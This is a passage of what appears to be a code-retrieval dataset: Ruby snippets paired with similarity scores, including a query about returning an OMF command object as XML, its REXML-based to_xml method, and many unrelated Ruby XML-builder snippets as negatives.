over\")\n else\n match_status = computer_choice.is_defeat(user_choice)\n case match_status\n when 0\n puts(\"DRAW\")\n puts(\"your choice: \" + user_choice )\n puts(\"computer choice: \" + computer_choice.get_name)\n when -1 # computer lose\n puts(\"You WIN!\" )\n puts(\"your choice: \" + user_choice )\n puts(\"computer choice: \" + computer_choice.get_name)\n puts(announce_winner(user_choice, computer_choice.get_name))\n when 1 # computer win\n puts (\"You LOSE :(\")\n puts(\"your choice: \" + user_choice )\n puts(\"computer choice: \" + computer_choice.get_name)\n puts(announce_winner(computer_choice.get_name, user_choice))\n end\n end\n end", "def play_again\n\t\t\tputs \"\\n Would you like to play again? y/n\"\n\t\t\tanswer = gets.chomp.downcase\n\n\t\t\tif answer == (\"y\" || \"yes\")\n\t\t\t\tGame.new.play\n\t\t\telse\n\t\t\t\tputs \"\\n Thank you for playing!\"\n\t\t\tend\n\t\tend", "def try_load_students\n filename = ARGV.first\n if filename.nil?\n puts \"No directory specified on start-up, empty directory will be opened.\"\n open_empty_directory\n elsif !File.exists?(filename)\n puts \"Directory specified on start-up does not exist, empty directory will be opened.\"\n open_empty_directory\n else\n load_students(filename)\n interactive_menu\n end\nend", "def play_again\n divider2\n puts \"Do you want to play again? (y/n)\"\n @pinput = gets.strip.downcase\n if @pinput == \"no\" || @pinput == \"n\"\n puts \"Thanks for Playing!\"\n elsif @pinput == \"yes\" || @pinput == \"y\"\n play\n else\n play_again\n end\n end", "def playGame\n #start the opening of the game\n #introduce the rules, ask for human or computer etc\n self.opening()\n\n end", "def play_again?\n print \"\\nDo you wish to play again? Y/N:\\n\"\n input = gets.chomp.downcase\n\n case input\n when \"y\"\n sleep 1\n self.clear()\n hangman = Game.new\n hangman.display()\n hangman.prompt_player()\n when \"n\"\n print \"\\n\\n Goodbye!!! \\n\\n\".send(:yellow).send(:bold)\n else\n self.clear()\n play_again?()\n end\n end" ]
[ "0.864231", "0.83405906", "0.8307312", "0.82509977", "0.8129931", "0.8129931", "0.8039203", "0.79747623", "0.78824306", "0.78609586", "0.77445173", "0.7728795", "0.7718014", "0.7355129", "0.7342144", "0.72420746", "0.71203154", "0.71180815", "0.7105183", "0.7084104", "0.7014783", "0.7011064", "0.6988835", "0.68533176", "0.6840992", "0.6833922", "0.6822834", "0.67869204", "0.67828596", "0.6735236", "0.6731359", "0.6702824", "0.6698004", "0.6692061", "0.6682044", "0.66611683", "0.6656275", "0.6648426", "0.6626364", "0.66079944", "0.6600426", "0.65985376", "0.658078", "0.6562832", "0.65557116", "0.6551083", "0.6542312", "0.65409714", "0.65183413", "0.6513112", "0.6503164", "0.6493587", "0.64875543", "0.6487078", "0.64841336", "0.64774156", "0.6476658", "0.6470623", "0.6462863", "0.64440244", "0.6441902", "0.6422386", "0.6412121", "0.6412108", "0.64116645", "0.64032066", "0.6400672", "0.6382012", "0.6373107", "0.63691306", "0.636719", "0.6365937", "0.63609356", "0.63554466", "0.6350598", "0.6335869", "0.6333885", "0.63296217", "0.63254666", "0.6309953", "0.6303919", "0.63032997", "0.6302896", "0.6296245", "0.6294441", "0.6281421", "0.62655216", "0.6244308", "0.62402624", "0.623988", "0.6228456", "0.62204", "0.62200445", "0.62189716", "0.62170786", "0.62101614", "0.62088686", "0.61821043", "0.617763", "0.6168638", "0.61678183" ]
0.0
-1
Return the XML representation for this Command Object An example of a returned XML is: source test_app_otg2 /usr/bin/otg2 udp:dst_host 192.168.0.3 udp:local_host 192.168.0.2 OML_SERVER=tcp:10.0.0.200:3003 OML_EXP_ID=sandbox1 OML_NAME=source [Return] an XML element
def to_xml() msg = REXML::Document.new msg << REXML::Element.new("#{@type.to_s}") msg.root << REXML::Element.new("GROUP").add_text("#{@group}") if @group != nil msg.root << REXML::Element.new("ID").add_text("#{@procID}") if @procID != nil msg.root << REXML::Element.new("PATH").add_text("#{@path}") if @path != nil msg.root << REXML::Element.new("ARGSLINE").add_text("#{@cmdLineArgs.join(" ")}") if @cmdLineArgs != nil # Build the <ENV> child element if !@env.empty? line = "" @env.each { |k,v| line << "#{k.to_s}=#{v.to_s} " } msg.root << REXML::Element.new("ENV").add_text("#{line}") end # Build the <OML_CONFIG> child element if @omlConfig != nil el = REXML::Element.new("OML_CONFIG") el.add_element(@omlConfig) msg.root << el end return msg end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_xml\n xml = String.new\n builder = Builder::XmlMarkup.new(:target => xml, :indent => 2)\n \n # Xml instructions (version and charset)\n builder.instruct!\n \n builder.source(:primary => primary_source) do\n builder.id(id, :type => \"integer\")\n builder.uri(uri.to_s)\n end\n \n xml\n end", "def build_command(action, object, attributes = nil, cookie = nil)\n xml = <<-XML\n\n <?xml version='1.0' encoding='UTF-8' standalone='no' ?>\n <!DOCTYPE OPS_envelope SYSTEM 'ops.dtd'>\n <OPS_envelope>\n <header>\n <version>0.9</version>\n </header>\n <body>\n <data_block>\n <dt_assoc>\n <item key=\"protocol\">XCP</item>\n <item key=\"action\">GET_BALANCE</item>\n <item key=\"object\">BALANCE</item>\n <item key=\"registrant_ip\"/>\n </dt_assoc>\n </data_block>\n </body>\n </OPS_envelope>\n XML\n\n doc = REXML::Document.new(xml)\n doc.root.elements[\"body/data_block/dt_assoc/item[@key='action']\"].text = action\n doc.root.elements[\"body/data_block/dt_assoc/item[@key='object']\"].text = object\n\n unless cookie.nil?\n cookie_elem = doc.root.elements[\"body/data_block/dt_assoc\"].add_element('item', {'key' => 'cookie'})\n cookie_elem.text = cookie\n end\n\n unless attributes.nil?\n elem = doc.root.elements[\"body/data_block/dt_assoc\"].add_element('item', {'key' => 'attributes'})\n elem = elem.add_element('dt_assoc')\n attributes.each_pair do |key, value|\n attrib_elem = elem.add_element('item', {'key' => key})\n if value.is_a?(Hash) || value.is_a?(Array)\n xml_add_collection_as_child(attrib_elem, value)\n else\n attrib_elem.text = (value.is_a?(String) ? value.dup : value)\n end\n end\n end\n\n doc.to_s\n end", "def to_xml\n Nokogiri::XML::Builder.new do |xml|\n xml.network do\n xml.name name if name\n xml.uuid uuid if uuid\n\n bridge.to_xml(xml)\n ip.to_xml(xml)\n end\n end.to_xml\n end", "def to_xml\n builder.target!\n end", "def xml\n @xml ||= Nokogiri::XML(remote_record_source_metadata).remove_namespaces!\n end", "def to_s\n @xml\n end", "def to_s\n return self.xml\n end", "def to_xml\n output=\"\"\n self.to_rexml.write output\n end", "def to_xml()\n XmlSimple.xml_out( { :address => self.to_hash() }, { :KeepRoot=>true, :NoAttr=>true } )\n end", "def to_xml()\n @xml ||= Nokogiri::XML(cmark(\"--to\", \"xml\"))\n @xml\n end", "def xml\n doc = REXML::Document.new\n coContainer = doc.add_element \"ctx:context-objects\"\n coContainer.add_namespace(\"ctx\", \"info:ofi/fmt:xml:xsd:ctx\")\n coContainer.add_namespace(\"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\")\n coContainer.add_attribute(\"xsi:schemaLocation\", \"info:ofi/fmt:xml:xsd:ctx http://www.openurl.info/registry/docs/info:ofi/fmt:xml:xsd:ctx\")\n co = coContainer.add_element \"ctx:context-object\"\n @admin.each_key do |k|\n next if k == \"ctx_enc\"\n co.add_attribute(@admin[k][\"label\"], @admin[k][\"value\"])\n end\n\n [{@referent => \"rft\"},\n {@referringEntity => \"rfe\"}, {@requestor => \"req\"},\n {@referrer => \"rfr\"}].each do |entity|\n entity.each do |ent, label|\n ent.xml(co, label) unless ent.empty?\n end\n end\n\n [{@serviceType => \"svc\"}, {@resolver => \"res\"}].each do |entity|\n entity.each do |entCont, label|\n entCont.each do |ent|\n ent.xml(co, label) unless ent.empty?\n end\n end\n end\n\n doc.to_s\n end", "def to_xml\n Builder.new(self).to_s\n end", "def interface_xml\n prefix_old = @xpath_prefix\n @xpath_prefix = \"TEMPLATE/NIC[ATTACH='YES']/\"\n\n model = @xml[\"#{@xpath_prefix}MODEL\"]\n model = env('DEFAULT_ATTACH_NIC_MODEL') if model.empty?\n model.encode!(:xml => :attr) unless model.empty?\n\n filter = @xml[\"#{@xpath_prefix}FILTER\"]\n filter = env('DEFAULT_ATTACH_NIC_FILTER') if filter.empty?\n filter.encode!(:xml => :attr) unless filter.empty?\n\n if exist? 'BRIDGE'\n dev = '<interface type=\"bridge\">'\n\n if @xml[\"#{@xpath_prefix}BRIDGE_TYPE\"] =~ /openvswitch/\n dev << '<virtualport type=\"openvswitch\"/>'\n end\n\n dev << xputs('<source bridge=%s/>', 'BRIDGE')\n else\n dev = '<interface type=\"ethernet\">'\n end\n\n dev << xputs('<mac address=%s/>', 'MAC')\n dev << xputs('<script path=%s/>', 'SCRIPT')\n\n dev << xputs('<target dev=%s/>', 'TARGET')\n dev << xputs('<boot order=%s/>', 'ORDER')\n dev << \"<model type=#{model}/>\" unless model.empty?\n\n if model == 'virtio'\n dev << xputs('<driver name=\"vhost\" queues=%s/>',\n 'VIRTIO_QUEUES')\n end\n\n if exist?('IP') && !filter.empty?\n dev << \"<filterref filter=#{filter}>\"\n dev << xputs('<parameter name=\"IP\" value=%s/>', 'IP')\n dev << xputs('<parameter name=\"IP\" value=%s/>', 'VROUTER_IP')\n dev << '</filterref>'\n end\n\n inb_keys = ['INBOUND_AVG_BW', 'INBOUND_PEAK_BW', 'INBOUND_PEAK_KB']\n inbound = inb_keys.any? {|e| exist? e }\n\n outb_keys = ['OUTBOUND_AVG_BW', 'OUTBOUND_PEAK_BW', 'OUTBOUND_PEAK_KB']\n outbound = outb_keys.any? {|e| exist? e }\n\n if inbound || outbound\n dev << '<bandwidth>'\n\n if inbound\n dev << '<inbound'\n dev << xputs(' average=%s', 'INBOUND_AVG_BW')\n dev << xputs(' peak=%s', 'INBOUND_PEAK_BW')\n dev << xputs(' burst=%s', 'INBOUND_PEAK_KB')\n dev << '/>'\n end\n\n if outbound\n dev << '<outbound'\n dev << xputs(' average=%s', 'OUTBOUND_AVG_BW')\n dev << xputs(' peak=%s', 'OUTBOUND_PEAK_BW')\n dev << xputs(' burst=%s', 'OUTBOUND_PEAK_KB')\n dev << '/>'\n end\n\n dev << '</bandwidth>'\n end\n\n dev << '</interface>'\n\n @xpath_prefix = prefix_old\n\n dev\n end", "def create_from(xmlDoc)\n begin\n # Set the Type\n @attributes[:CMDTYPE] = xmlDoc.expanded_name.to_sym\n # Parse the XML object\n xmlDoc.each_element { |e|\n # For the OMLCONFIG tag, add the XML value to this Command Object\n if e.expanded_name.upcase.to_sym == :OMLCONFIG\n @attributes[e.expanded_name.upcase.to_sym] = e\n # For the other tags, add the text value to this Command Object\n else\n @attributes[e.expanded_name.upcase.to_sym] = e.text\n end\n }\n rescue Exception => ex\n raise \"Failed to create new OmfCommandObject from XML\"\n end\n end", "def to_xml\n\t\t\t\"<#{@name} #{attributes_string} />\"\n\t\tend", "def to_s\n\t\treturn self.stringify_nodes( @output )\n\tend", "def to_xml\n return to_s\n end", "def to_xml\n return to_s\n end", "def to_xml \n return @_xml unless @_xml.empty?\n @_xml << \"<wddxPacket version='1.0'>\"\n if @comment.nil?\n @_xml << \"<header/>\"\n else\n @_xml << \"<header><comment>#{@comment}</comment></header>\"\n end\n @_xml << \"<data>\" \n if @data.size.eql?(1)\n @_xml << @data \n else \n @_xml << \"<array length='#{@data.size}'>\"\n @_xml << @data\n @_xml << \"</array>\"\n end \n @_xml << \"</data></wddxPacket>\"\n @_xml = @_xml.join('')\n @_xml\n end", "def to_s\n \"#<OSM::Node id=\\\"#{@id}\\\" user=\\\"#{@user}\\\" timestamp=\\\"#{@timestamp}\\\" lon=\\\"#{@lon}\\\" lat=\\\"#{@lat}\\\">\"\n end", "def to_xml\n dxml = Nokogiri::XML::Builder.new do |xml|\n xml.domain('type' => 'kvm'){\n xml.name name\n xml.memory memory\n xml.currentMemory memory\n xml.vcpu 1\n xml.os {\n xml.type_('hvm', 'arch' => 'x86_64', 'machine' => 'rhel6.2.0')\n\t xml.boot('dev' => 'hd')\n\t xml.kernel \"/share/repo/mirror/centos/6.2/os/x86_64/images/pxeboot/vmlinuz\"\n\t xml.initrd \"/share/repo/mirror/centos/6.2/os/x86_64/images/pxeboot/initrd.img\"\n\t xml.cmdline os_cmdline\n\t # \"method=http://172.20.0.5/repo/centos/6/os/x86_64 ks=http://172.20.0.103:10007/atlab/kickstart/rcs-el6/postgresql-centos6.cfg ksdevice=eth0 ip=172.20.100.22 netmask=255.255.0.0 nameserver=172.20.0.5 gateway=172.20.0.1\"\n }\n\txml.features {\n xml.acpi\n\t xml.apic\n\t xml.pae\n\t}\n\txml.clock 'offset' => 'utc'\n\txml.on_poweroff 'destroy'\n\txml.on_reboot 'restart'\n\txml.on_crash 'restart'\n\txml.devices {\n\t xml.emulator '/usr/libexec/qemu-kvm'\n\t xml.disk('type' => 'file', 'device' => 'disk') {\n xml.driver('name' => 'qemu', 'type' => 'raw', 'cache' => 'none')\n\t xml.source('file' => disk)\n\t xml.target('dev' => 'hda', 'bus' => 'virtio')\n\t # libvirt can auto-generate pci address space\n\t # xml.address('type' => 'pci', 'domain' => '0x0000', 'bus' => '0x00', 'slot' => '0x04', 'function' => '0x0')\n\t }\n\t xml.interface('type' => 'bridge'){\n\t xml.source('bridge' => 'br1')\n\t xml.model('type' => 'virtio')\n\t # xml.address('type' => 'pci', 'domain' => '0x0000', 'bus' => '0x00', 'slot' => '0x03', 'function' => '0x0')\n\t }\n\t xml.serial('type' => 'pty'){\n xml.target('port' => '0')\n\t }\n\t xml.console('type' => 'pty'){\n xml.target('type' => 'serial', 'port' => '0') \n\t }\n\t xml.input('type' => 'tablet', 'bus' => 'usb')\n\t xml.input('type' => 'mouse', 'bus' => 'ps2')\n\t xml.graphics('type' => 'vnc', 'port' => '-1', 'autoport' => 'yes', 'keymap' => 'en-us')\n\t xml.video {\n\t xml.model('type' => 'cirrus', 'vram' => '9216', 'heads' => '1')\n\t # xml.address('type' => 'pci', 'domain' => '0x0000', 'bus' => '0x00', 'slot' => '0x02', 'function' => '0x0')\n\t }\n\t xml.memballoon('model' => 'virtio'){\n\t # xml.address('type' => 'pci', 'domain' => '0x0000', 'bus' => '0x00', 'slot' => '0x05', 'function' => '0x0')\n }\n }\n }\n end\n dxml.to_xml\n end", "def echo\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!\n xml.notification_echo do\n xml.unique_id @unique_id\n end\n xml.target!\n end", "def echo\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!\n xml.notification_echo do\n xml.unique_id @unique_id\n end\n xml.target!\n end", "def generate_xml\n\t\n\t\tbuilder = Nokogiri::XML::Builder.new do |xml|\n \t\t\txml.randomGeneratedData {\n \t\t\txml.parameters(nbStations: @inputs.nb_stations, nbDemands: @inputs.nb_demands)\n xml.stations {\n @list_stations.each do |s|\n\t\t\t\t\t\t\txml.station(\n\t\t\t\t\t\t\t\tid: s.id, \n\t\t\t\t\t\t\t\txPos: s.xPos, \n\t\t\t\t\t\t\t\tyPos: s.yPos,\n\t\t\t\t\t\t\t\tmaxSize: s.maxSize\n\t\t\t\t\t\t\t)\n end\n }\n \t\t\t\txml.demands {\n @list_demands.each do |d|\n \t\t\t\t\t\txml.demand(\n\t\t\t\t\t\t\t id: d.id,\n\t\t\t\t\t\t\t\tidsOrigin: d.sOrigin.id, \n\t\t\t\t\t\t\t\tidsDestination: d.sDestination.id, \n\t\t\t\t\t\t\t\tnbDemand: d.nbDemand,\n\t\t\t\t\t\t\t\tdepartureTime: d.departureTime_TS,\n\t\t\t\t\t\t\t\tarrivalTime: d.arrivalTime_TS\n \t\t\t\t\t\t)\n end\n \t\t\t\t}\n \t\t\t}\n\t\tend\n\t\t\n\t\treturn builder.to_xml\n\tend", "def to_xml\n Nokogiri::XML::Builder.new do |xml|\n xml.domain(:type => hypervisor) do\n # Name and description\n xml.name name if name\n xml.uuid uuid if uuid\n xml.description description if description\n\n # Operating system boot information\n os.to_xml(xml)\n\n # Basic resources\n xml.memory memory if memory\n xml.currentMemory current_memory if current_memory\n xml.vcpu vcpu if vcpu\n\n # Lifecycle control\n xml.on_poweroff on_poweroff if on_poweroff\n xml.on_reboot on_reboot if on_reboot\n xml.on_crash on_crash if on_crash\n end\n end.to_xml\n end", "def to_xml\n Builder.new(owner, grants).to_s\n end", "def to_xml\n a = REXML::Element.new(\"property\")\n a.add_attribute(\"id\", name)\n a.add_element(\"name\").text = name\n if (parameter)\n a.add_element(\"parameter\").text = parameter\n end\n if (description)\n a.add_element(\"description\").text = description\n end\n if (@options)\n p @options\n @options.each {|name, value|\n a.add_element(name.to_s).text = value.to_s\n }\n end\n return a\n end", "def to_xml()\n \t el = REXML::Element.new('mp')\n \t el.add_attribute(\"name\", \"#{@mdef}\")\n \t if @opts.key?(:interval)\n \t el.add_attribute(\"interval\", \"#{@opts[:interval]}\")\n elsif @opts.key?(:samples)\n \t el.add_attribute(\"samples\", \"#{@opts[:samples]}\")\n end\n \t if @filters.size > 0\n @filters.each { |f|\n el.add_element(f.to_xml)\n \t }\n \t end\n \t return el\n \tend", "def get_builder_obj(shell_id, command_id, &block)\r\n body = { \"#{NS_WIN_SHELL}:DesiredStream\" => 'stdout stderr',\r\n :attributes! => {\"#{NS_WIN_SHELL}:DesiredStream\" => {'CommandId' => command_id}}}\r\n builder = Builder::XmlMarkup.new\r\n builder.instruct!(:xml, :encoding => 'UTF-8')\r\n builder.tag! :env, :Envelope, namespaces do |env|\r\n env.tag!(:env, :Header) { |h| h << Gyoku.xml(merge_headers(header,resource_uri_cmd,action_receive,selector_shell_id(shell_id))) }\r\n env.tag!(:env, :Body) do |env_body|\r\n env_body.tag!(\"#{NS_WIN_SHELL}:Receive\") { |cl| cl << Gyoku.xml(body) }\r\n end\r\n end\r\n builder\r\n end", "def echo\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!\n xml.notification_echo do\n xml.payment_unique_id @payment_unique_id\n end\n xml.target!\n end", "def xml; end", "def to_xml(opt={})\n to_markup(opt).target!\n end", "def to_xml(opt={})\n to_markup(opt).target!\n end", "def to_s\n text = ''\n\n text << tag_output_string + \"\\n\" unless tags.empty?\n text << \"Examples:#{name_output_string}\"\n text << \"\\n\" + description_output_string unless description_text.empty?\n text << \"\\n\" unless description_text.empty?\n text << \"\\n\" + parameters_output_string\n text << \"\\n\" + rows_output_string unless rows.empty?\n\n text\n end", "def build_xml( result )\n xml = ::Builder::XmlMarkup.new\n \n xml.ProcessResponse do \n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.Response result\n end\n end", "def to_xml(options = {}) \n\t\t\t@xml = \"\"\n\t\t\t@builder = Builder.new( :target => @xml, :indent => 4 )\n\t\t\t@builder.access_request!(self) unless !options[:access_request].nil? && !options[:access_request]\n\t\t\t@builder.instruct! unless !options[:instruct].nil? && !options[:instruct]\n\t\t\t\n\t\t\t# load this class's YAML file\n\t\t\tmap = YAML.load_file(\"#{LABEL_SERVICE_ROOT}/methods/#{self.request_action.underscore}.yml\")\n\n\t\t\t# this is in order to provide default and other values\n\t\t\tto_v = lambda do |value|\n\t\t\t\treturn value.gsub(\"'\",\"\") if value =~ /^'(.*)'$/ # it's string literal\n\t\t\t\tm = value.to_sym\n\t\t\t\treturn self.send(m) if self.respond_to?(m) && !self.send(m).nil? # it's an instance method\n\t\t\t\treturn self.class.config.send(m) if self.class.config.respond_to?(m) && !self.class.config.send(m).nil? # it's a config method\n\t\t\t\treturn nil\n\t\t\tend\n\n\t\t\t# recurse!\n\t\t\tto_x = lambda do |key, value| \n\t\t\t\tel = key.camelize.to_sym\n next if el == :ReturnService and to_v.call(:return_service).nil?\n\t\t\t\tcase value\n\t\t\t\t\twhen String then @builder.__send__(el, to_v.call(value))\n\t\t\t\t\twhen Hash then @builder.__send__(el){|b| \n value.each(&to_x)\n }\n\t\t\t\t\twhen Array then @builder = self.send(\"#{key}_array\", @builder)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# loop through map and build xml\n\t\t\tmap.each(&to_x) \n\t\t\t@xml\n\t\tend", "def netdev_resxml_edit( xml ) \n return xml\n end", "def to_xml\n @xml ||= get_xml\n end", "def build_result(action)\n xml = ''\n doc = Builder::XmlMarkup.new(:target => xml)\n doc.tag!(\"#{action}Response\", :xmlns => \"http://sdb.amazonaws.com/doc/2007-11-07\") do\n if block_given?\n yield doc\n end\n \n doc.ResponseMetadata do\n doc.RequestId \"1234\"\n doc.BoxUsage \"0\"\n end\n end\n \n xml\n end", "def to_xml\n builder = Builder::XmlMarkup.new(:indent=>2)\n builder.instruct! :xml, version: '1.0', encoding: 'UTF-8'\n xml = builder.items{ self.each{|x| builder.item(x) } }\n xml\n end", "def inspect\n attributes = [\"seqid=\\\"#{@seqid}\\\"\", \"source=\\\"#{@source}\\\"\", \"type=\\\"#{@type}\\\"\", \"strand=\\\"#{@strand}\\\"\"]\n attributes += @attributes.map { |(attribute, value)| \"#{attribute}=\\\"#{value}\\\"\" }\n \n \"#<#{self.class} #{attributes.join(', ')}>\"\n end", "def basic_output()\n temp_string = String.new()\n\n if (@utype != \"\")\n temp_string = temp_string + \"#{@utype} = \"\n end\n temp_string = temp_string + @commandName\n temp_string = temp_string + \"\\n\"\n @keywordPairs.each {|array| temp_string = temp_string + \"\\t#{array[0]} = #{array[1]}\\n\" }\n temp_string = temp_string + \"..\\n\"\n\n temp_string = temp_string + \"$Parents\\n\"\n @parents.each do |array|\n temp_string = temp_string + \"$\\t#{array.utype} = #{array.commandName}\\n\"\n end\n temp_string = temp_string + \"..\\n\"\n\n temp_string = temp_string + \"$Children\\n\"\n @children.each {|array| temp_string = temp_string + \"$\\t#{array.utype} = #{array.commandName}\\n\" }\n temp_string = temp_string + \"..\\n\"\n\n end", "def build_xml(target, type, value)\n <<-EOF.gsub(/^ {8}/, '')\n <?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\n <entry\n xml:base=\"/p/p.svc/\"\n xmlns:d=\"http://schemas.microsoft.com/ado/2007/08/dataservices\"\n xmlns:m=\"http://schemas.microsoft.com/ado/2007/08/dataservices/metadata\"\n xmlns=\"http://www.w3.org/2005/Atom\">\n <id></id>\n <title type=\"text\"></title>\n <updated>#{@time}</updated>\n <author><name /></author>\n <category term=\"pomegranateModel.Asset\" scheme=\"http://schemas.microsoft.com/ado/2007/08/dataservices/scheme\" />\n <content type=\"application/xml\">\n <m:properties>\n <d:AssetID>--</d:AssetID>\n <d:AssetData>#{type === \"TEXT\" ? escape_xml(value) : value}</d:AssetData>\n <d:AssetType>#{type}</d:AssetType>\n <d:AssetMeta></d:AssetMeta>\n <d:AssetRecordID>#{@record_id}</d:AssetRecordID>\n <d:Target>#{target}</d:Target>\n <d:Client>#{@client_id}</d:Client>\n <d:Status>#{@client_id == \"P0\" ? \"UPLOADED\" : \"APPROVED\"}</d:Status>\n </m:properties>\n </content>\n </entry>\n EOF\n end", "def to_xml\n \n text = \"<node id=\\\"#{self.id}\\\" label=\\\"#{self.label}\\\">\\n\"\n \n unless self.attributes.nil?\n text << \"\\t<attvalues>\\n\"\n self.attributes.each do |key, value|\n text << \"\\t\\t<attvalue for=\\\"#{key}\\\" value=\\\"#{value}\\\"></attvalue>\\n\"\n end\n text << \"\\t</attvalues>\\n\"\n end\n \n unless self.viz_size.nil?\n text << \"\\t<viz:size value=\\\"#{self.viz_size}\\\"/>\\n\"\n end\n \n unless self.viz_color.nil?\n text << \"\\t<viz:color b=\\\"#{self.viz_color[:b]}\\\" g=\\\"#{self.viz_color[:g]}\\\" r=\\\"#{self.viz_color[:r]}\\\"/>\\n\"\n end\n \n unless self.viz_position.nil?\n text << \"\\t<viz:position x=\\\"#{self.viz_position[:x]}\\\" y=\\\"#{self.viz_position[:z]}\\\"/>\\n\"\n end\n \n text << \"</node>\\n\"\n text \n end", "def xml\n @xml ||= begin\n builder = ::Builder::XmlMarkup.new(:indent => 4)\n\n authed_xml_as_string(builder) do\n builder.GetReceiptInfoCall do\n builder.ReceiptFilter do\n builder.ReceiptId(id)\n end\n end\n end\n end\n end", "def to_xml_inject_ns(model_name, options = {})\n s = StringIO.new\n xml = to_xml(options).write_to(s, :indent => 0, :indent_text => '')\n destination_name = options.fetch(:destination_name, nil)\n destination_name ||= model_name\n\n step1 = s.string.sub(\"<#{model_name}>\", \"<#{destination_name} #{Quickeebooks::Online::Service::ServiceBase::XML_NS}>\")\n step2 = step1.sub(\"</#{model_name}>\", \"</#{destination_name}>\")\n step2\n end", "def command\n cmd = [@serf, 'agent']\n\n cmd << ['-node', @name] if @name\n cmd << '-replay' if @replay\n cmd << '-discover' if @discover\n\n @initial_tags.each do |key, val|\n cmd << ['-tag', \"#{key}=#{val}\"]\n end\n\n cmd << [\n '-event-handler',\n [@villein_handler, *event_listener_addr].join(' ')\n ]\n\n @custom_event_handlers.each do |handler|\n cmd << ['-event-handler', handler]\n end\n\n %w(bind iface advertise config-file config-dir\n encrypt join log-level profile protocol rpc-addr\n snapshot tags-file).each do |key|\n\n val = instance_variable_get(\"@#{key.gsub(/-/,'_')}\")\n cmd << [\"-#{key}\", val] if val\n end\n\n cmd.flatten.map(&:to_s)\n end", "def to_xml(ns=nil)\n x = super.chomp(\"/>\").chomp(\" \")\n x << \">\"\n x << xml_escape(xml_value.to_s)\n x << \"</#{xml_tagname}>\"\n x\n end", "def to_xml\n return self.to_s\n end", "def to_xml\r\n x = Builder::XmlMarkup.new(:target => (reply = ''))\r\n x.instruct!\r\n x.comment! \"#{@collection.size} entries\" \r\n x.strings(:each => @each) {\r\n @collection.each do |each|\r\n x.s(each)\r\n end\r\n }\r\n reply\r\n end", "def to_xml\n\t\tend", "def to_xml\n\t\tend", "def to_xml\n header = build_header\n body = build_body\n envelope = build_envelope\n envelope << header\n envelope << body\n doc = Ox::Document.new(version: '1.0')\n doc << envelope\n Ox.dump(doc)\n end", "def to_s\n \"<#{@name}\" + @attrs.sort.map{|k,v| \" #{k}='#{v.xml_attr_escape}'\"}.join +\n if @contents.size == 0\n \"/>\"\n else\n \">\" + @contents.map{|x| if x.is_a? String then x.xml_escape else x.to_s end}.join + \"</#{name}>\"\n end\n end", "def command cmd, target=nil, value=nil\r\n @xml.tr do\r\n _tdata cmd\r\n _tdata target\r\n _tdata value\r\n end\r\n end", "def to_xml\n Ox.to_xml document\n end", "def to_xml(opts={})\n opts ||= {}\n if opts.is_a?(String) \n opts = ( opts.match(/\\.xml$/) ? {:outfile => opts} : {:outdir => opts } )\n end\n opt = {:update_summary_xml => true, :outdir => nil, :outfile => nil}.merge(opts)\n\n if opt[:outfile]\n outfile = opt[:outfile]\n elsif opt[:outdir]\n outfile = File.join(opt[:outdir], msms_pipeline_analysis.summary_xml.split(/[\\/\\\\]/).last)\n end\n self.msms_pipeline_analysis.summary_xml = File.expand_path(outfile) if (opt[:update_summary_xml] && outfile)\n\n builder = Nokogiri::XML::Builder.new(:encoding => XML_ENCODING)\n msms_pipeline_analysis.to_xml(builder)\n add_stylesheet(builder.doc, Mspire::Ident::Pepxml::XML_STYLESHEET_LOCATION)\n string = builder.doc.to_xml\n\n if outfile \n File.open(outfile,'w') {|out| out.print(string) }\n outfile\n else\n string\n end\n end", "def request_wrap\n xml = <<-XML\n<CallSource version=\"E\">\n<Username>#{@user}</Username> \n<Authentication>#{auth_token}</Authentication> \n#{@service_tag}\n</CallSource>\n XML\n xml.strip!\n end", "def to_xml(*)\n self\n end", "def as_host_xml\n xml = \"\"\n hosts.each do |host|\n xml = xml + \"<host mac='#{host[:mac]}' name='#{host[:name]}' ip='#{host[:ip]}' />\"\n end\n xml\n end", "def to_xml\n Element.new(name).tap do |org|\n org << company_name\n org << phone_number\n org << attention_name\n org << address\n org << tax_identification_number\n org << email_address\n org << vendor_info unless opts[:sender_ioss_number].to_s.empty?\n end\n end", "def hostdev_xml(defined_opts = {})\n opts = {\n :force_hostdev => false,\n :pci => false\n }.merge(defined_opts)\n\n prefix_old = @xpath_prefix\n @xpath_prefix = \"TEMPLATE/PCI[ATTACH='YES']/\"\n\n if exist? 'UUID'\n dev = '<hostdev mode=\"subsystem\" type=\"mdev\" model=\"vfio-pci\">'\n dev << xputs('<source><address uuid=%s/></source>', 'UUID')\n dev << '</hostdev>'\n else\n if opts[:force_hostdev]\n is_vf = false\n else\n is_vf = vf?(@xml[\"#{@xpath_prefix}SHORT_ADDRESS\"])\n end\n\n if is_vf\n dev = '<interface type=\"hostdev\" managed=\"yes\">'\n dev_end = '</interface>'\n else\n dev = '<hostdev mode=\"subsystem\" type=\"pci\" managed=\"yes\">'\n dev_end = '</hostdev>'\n end\n\n dev << '<source><address'\n dev << ' type=\"pci\"' if is_vf\n dev << xputs(' domain=%s', 'DOMAIN', :hex => true)\n dev << xputs(' bus=%s', 'BUS', :hex => true)\n dev << xputs(' slot=%s', 'SLOT', :hex => true)\n dev << xputs(' function=%s', 'FUNCTION', :hex => true)\n dev << '/></source>'\n\n # Setting Bus address needs to check that a PCI contoller is\n # present for Bus 1\n vm_addr = ['VM_DOMAIN', 'VM_BUS', 'VM_SLOT', 'VM_FUNCTION'].all? {|e| exist? e }\n\n if vm_addr && opts[:pci]\n dev << '<address type=\"pci\"'\n dev << xputs(' domain=%s', 'VM_DOMAIN')\n dev << xputs(' bus=%s', 'VM_BUS')\n dev << xputs(' slot=%s', 'VM_SLOT')\n dev << xputs(' function=%s', 'VM_FUNCTION')\n dev << '/>'\n end\n\n dev << dev_end\n end\n\n @xpath_prefix = prefix_old\n\n dev\n end", "def build_request\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Request(:version => '1.0') do\n xml.Header { xml.Security(:sender => @options[:sender_id]) }\n xml.Transaction(:mode => test? ? 